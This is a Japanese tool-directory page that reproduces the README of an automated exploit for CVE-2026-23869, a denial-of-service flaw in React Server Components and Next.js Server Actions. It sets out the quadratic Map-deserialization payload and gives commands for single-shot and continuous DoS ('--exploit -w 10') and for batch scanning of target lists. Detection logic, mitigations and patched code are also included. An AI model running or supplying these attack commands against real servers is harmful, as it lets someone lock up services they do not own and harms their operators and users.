Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-23869-Exploit — CVE-2026-23869向け自動エクスプロイトツール。React Server ComponentsにおけるリモートDoS脆弱性です。PoC、Nucleiテンプレート、検出および悪用のためのスキャンスクリプトを含みます。 | Kitploit
ツール/GitHubGitHub/cybertechajju/cve-2026-23869-exploit
偵察脆弱性スキャナーエクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubcybertechajju/cve-2026-23869-exploit

CVE-2026-23869-Exploit

CVE-2026-23869向け自動エクスプロイトツール。React Server ComponentsにおけるリモートDoS脆弱性です。PoC、Nucleiテンプレート、検出および悪用のためのスキャンスクリプトを含みます。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
814ヶ月前未レビュー

CVE Severity React Next.js Type

⚡ CVE-2026-23869 — React2DoS

React Flight プロトコルを介した認証不要のリモートサービス妨害(DoS)
サーバーコンポーネントの Map 逆シリアル化における二次関数的 CPU 消費

概要 • 仕組み • ツール • インストール • 使用方法 • Nuclei • 対策 • 免責事項


脆弱性の概要

フィールド詳細
CVE IDCVE-2026-23869
別名React2DoS
CVSS スコア7.5(高)
CVSS ベクターCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWECWE-400(リソース消費の制御不能)
種別認証不要のリモートサービス妨害(DoS)
発見者Yohann Sillam(Imperva Threat Research)
影響を受けるバージョンreact-server-dom-webpack / parcel / turbopack ≤ 19.2.4
修正済みバージョンReact 19.2.5+ / Next.js 15.5.15+ / 16.2.3+

React Server Components の Flight プロトコルの逆シリアル化に、重大なサービス妨害(DoS)の脆弱性が存在します。認証されていない攻撃者が、Next.js App Router の Server Action エンドポイントに対して単一の細工された HTTP リクエストを送信することで、二次関数的 O(n²) の CPU 消費を引き起こし、サーバーを数分間ロックさせることができます。

参考情報

  • Vercel 公式アドバイザリ
  • Imperva 技術分析 — 「React2DoS」
  • React パッチ PR #36236
  • NVD エントリ

仕組み

バグ: Map 逆シリアル化における consumed フラグの欠落

React Flight プロトコルは、データ型をシリアル化するために特別なマーカーを使用します。$Q は Map オブジェクトを表します。サーバーが自己参照する $Q0 マーカーを含むペイロードを受信すると:

root@kitploit:~
Payload: [ [1,1], [1,1], ...(n 個の有効なエントリ)..., "$Q0", "$Q0", ...(n 個の参照)... ]

各 $Q0 は、すべての n 個の有効なエントリを反復処理する new Map() コンストラクタをトリガーします。Map コンストラクタは(エントリが不正な形式のため)エラーをスローしますが、重大なバグは次のとおりです: 失敗時に consumed フラグが設定されないことです。

つまり、次の $Q0 が同じ Map をゼロから再計算するため、O(n²) の複雑さが発生します:

root@kitploit:~
n 個の有効なエントリ × n 個の $Q0 参照 = n² 回の Map コンストラクタ呼び出し

例: 65,000 × 65,000 = 4,225,000,000 回の操作
結果: 単一のリクエストで CPU を 5〜10 分以上ロック

攻撃フロー

root@kitploit:~
┌──────────┐     POST / (multipart/form-data)      ┌──────────────────┐
│ 攻撃者    │ ──────────────────────────────────────▶ │  Next.js サーバー │
│          │     ヘッダー: Next-Action: <action_id>  │                  │
│          │     ボディ: [[1,1]...,"$Q0","$Q0"...]   │  ██████████ CPU  │
│          │                                        │  100% ロック     │
└──────────┘                                        │ 約 5〜10 分間     │
                                                    └──────────────────┘

脆弱なコード(修正前)

root@kitploit:~
// ReactFlightReplyServer.js — パッチ適用前
case "Q": {
  const data = getOutlinedModel(response, id, obj);
  return new Map(data);  // ← 失敗するが consumed = true を設定しない
                         //   次の $Q0 がゼロから再計算する
}

修正済みコード(修正後)

root@kitploit:~
// ReactFlightReplyServer.js — パッチ適用後(React 19.2.5+)
case "Q": {
  const data = getOutlinedModel(response, id, obj);
  obj.consumed = true;   // ← 修正: コンストラクタ実行前にフラグを設定
  return new Map(data);  //   再計算の繰り返しを防止
}

含まれるツール

ファイル説明
poc.py4 フェーズのパイプライン(偵察 → 抽出 → 検出 → 悪用)を備えた全自動エクスプロイトツール
CVE-2026-23869.yaml

インストール

root@kitploit:~
# リポジトリをクローン
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit

# Python 依存関係をインストール
pip install requests

# スクリプトを実行可能にする
chmod +x poc.py scan.sh extract-action-ids.sh

オプションの依存関係

root@kitploit:~
# Nuclei テンプレートスキャン用
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# ライブターゲットフィルタリング用
go install github.com/projectdiscovery/httpx/cmd/httpx@latest

使用方法

🔥 全自動スキャン(単一ターゲット)

URL を指定するだけで、ツールがすべてを自動的に実行します:

root@kitploit:~
python3 poc.py -u https://target.com

実行内容:

  1. フェーズ 1 — 偵察: Next.js のフィンガープリント(ヘッダー、HTML マーカー、ビルド ID)
  2. フェーズ 2 — 抽出: JS バンドルから Server Action ID を検出
  3. フェーズ 3 — 検出: 安全なタイミングベースの脆弱性チェック(500 エントリのプローブ)
  4. フェーズ 4 — レポート: タイミング分析による脆弱性の判定結果を表示

📋 バッチスキャン(複数ターゲット)

root@kitploit:~
# ドメイン/IP のリストをスキャン
python3 poc.py -L targets.txt

# JSON レポート出力付き
python3 poc.py -L targets.txt -o results.json

🎯 手動モード(既知の Action ID)

root@kitploit:~
# 安全な検出のみ
python3 poc.py -u https://target.com -a <ACTION_ID> --detect

# 単発エクスプロイト
python3 poc.py -u https://target.com -a <ACTION_ID> --single

# 継続的 DoS(10 ワーカー)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10

🔍 Action ID のみ抽出

root@kitploit:~
python3 poc.py -u https://target.com --extract

⚙️ 全オプション

root@kitploit:~
Options:
  -u, --url URL          ターゲット URL(単一ターゲット)
  -L, --list FILE        ターゲット URL/IP のファイル(1 行に 1 つ)
  -a, --action-id ID     Server Action ID(自動抽出をスキップ)
  --detect               検出のみ — 安全で非破壊的(デフォルト)
  --single               検出後の単発エクスプロイト
  --exploit              検出後の継続的 DoS
  --extract              Action ID のみを抽出
  -l, --length N         ペイロードエントリ数(デフォルト: 130000)
  -w, --workers N        同時ワーカー数(デフォルト: 5)
  -d, --delay SEC        リクエスト間の遅延(デフォルト: 1.0)
  -o, --output FILE      JSON レポートを保存
  -t, --threads N        リストスキャン時の同時ターゲット数(デフォルト: 3)

後方互換性

元の PoC 構文も引き続き使用できます:

root@kitploit:~
python3 poc.py <ACTION_ID> <URL>

Nuclei テンプレート

クイックスキャン

root@kitploit:~
# 単一ターゲット
nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos

# 複数ターゲット
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos

# クリーンな出力(脆弱な結果のみ)
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos -silent

注: -itags dos フラグは必須です。Nuclei は安全性のため、デフォルトで DoS テンプレートを除外するためです。

テンプレート検出フロー

root@kitploit:~
リクエスト 1 (GET /)     →  Next.js のフィンガープリント(ヘッダー + HTML マーカー)
リクエスト 2 (GET /)     →  createServerReference() から Server Action ID を抽出
リクエスト 3 (POST /)    →  ベースラインタイミングリクエスト(無害なペイロード)
リクエスト 4 (POST /)    →  エクスプロイトプローブ(250 有効 + 250 $Q0 エントリ)
                          └─ 応答時間 ≥ 3 秒 → 脆弱

自動スキャナースクリプト

root@kitploit:~
# httpx を実行 → ライブターゲットをフィルタリング → nuclei スキャン → 結果
./scan.sh

# またはカスタムファイルを指定
./scan.sh targets1.txt targets2.txt

検出ロジック

このツールは、タイミングベースの検出を使用して、脆弱なサーバーを安全に識別します:

以下の場合に検出が確定します:

  • プローブ応答時間が 3 秒以上、または
  • プローブ/ベースライン比率が > 5 倍かつプローブ時間が > 1 秒

影響を受けるバージョン


対策

  1. React をバージョン 19.2.5 以降にアップグレードする
  2. Next.js をバージョン 15.5.15 または 16.2.3 以降にアップグレードする
  3. WAF ルール: $Q マーカーを含む異常に大きな multipart/form-data ボディを持つリクエストをブロックする
  4. レート制限: Server Action エンドポイントにレート制限を実装する
  5. モニタリング: / への POST リクエストと相関する高い CPU 使用率をアラートする

プロジェクト構造

root@kitploit:~
CVE-2026-23869-Exploit/
├── README.md                  # このファイル
├── poc.py                     # 全自動 PoC エクスプロイトツール
├── CVE-2026-23869.yaml        # Nuclei 検出テンプレート
├── scan.sh                    # httpx + nuclei 自動スキャナー
└── extract-action-ids.sh      # スタンドアロンの Action ID 抽出ツール

スクリーンショット

全自動スキャン

root@kitploit:~
  ╔══════════════════════════════════════════════════╗
  ║  フェーズ 1 ▸ 偵察                               ║
  ╚══════════════════════════════════════════════════╝

  ✓ Next.js を検出(Next.js)
  ✓ ビルド ID: abc123def456
  ✓ App Router: Server Actions を検出

  ╔══════════════════════════════════════════════════╗
  ║  フェーズ 2 ▸ ACTION ID 抽出                     ║
  ╚══════════════════════════════════════════════════╝

  ✓ 3 つの Action ID を検出:
    1. a1b2c3d4e5f6789012345678901234567890abcd
    2. b2c3d4e5f67890123456789012345678901234ef

  ╔══════════════════════════════════════════════════╗
  ║  フェーズ 3 ▸ 脆弱性検出                         ║
  ╚══════════════════════════════════════════════════╝

  [1/2] ベースライン: 0.142 秒
  [2/2] プローブ:    7.891 秒(ベースラインの 55.6 倍)

  ██ 脆弱 — CVE-2026-23869 確認 ██

バッチスキャン結果

root@kitploit:~
  ╔══════════════════════════════════════════════════════════════╗
  ║  バッチスキャン結果                                          ║
  ╚══════════════════════════════════════════════════════════════╝

  スキャン対象  : 45.2 秒で 150 ターゲット
  脆弱          : 3
  修正済み      : 12
  スキップ      : 135

  🔴 脆弱なターゲット
  ─────────────────────────────────────────────────
   #   ターゲット                       プローブ    比率
     1  vulnerable-app.com             7.89 秒    55.6 倍
     2  staging.example.com            4.21 秒    28.1 倍
     3  dev.testsite.org              12.33 秒    82.2 倍

免責事項

⚠️ 許可されたセキュリティテスト専用

このツールは教育目的および許可されたペネトレーションテストのためにのみ提供されています。所有していない、またはテストする明示的な許可を得ていないターゲットに対するこのツールの不正使用は違法であり、コンピュータ詐欺法(CFAA、CMA など)に違反する可能性があります。

著者は、このツールによって引き起こされた誤用や損害について責任を負いません。システムをテストする前に、必ず適切な書面による許可を取得してください。


クレジット

  • 脆弱性調査: Yohann Sillam — Imperva Threat Research
  • PoC 開発: cybertechajju
  • React パッチ: Facebook/Meta React チーム

Stars Forks License

これが役に立った場合は、⭐ を付けることを検討してください

ツールをダウンロード
フローベースのオーケストレーションを備えた Nuclei 検出テンプレート
scan.shラッパースクリプト: httpx ライブフィルタリング + nuclei スキャン
extract-action-ids.shスタンドアロンの Server Action ID 抽出ツール
メトリクス脆弱修正済み
ベースライン(無害なリクエスト)~0.1〜0.5 秒~0.1〜0.5 秒
プローブ(500 エントリ)3〜10 秒以上~0.1〜0.5 秒
比率(プローブ/ベースライン)>5 倍~1 倍
フルペイロード(130K エントリ)5〜10 分以上~0.1〜0.5 秒
パッケージ脆弱修正済み
react-server-dom-webpack≤ 19.2.419.2.5+
react-server-dom-parcel≤ 19.2.419.2.5+
react-server-dom-turbopack≤ 19.2.419.2.5+
Next.js< 15.5.1515.5.15+
Next.js 16.x< 16.2.316.2.3+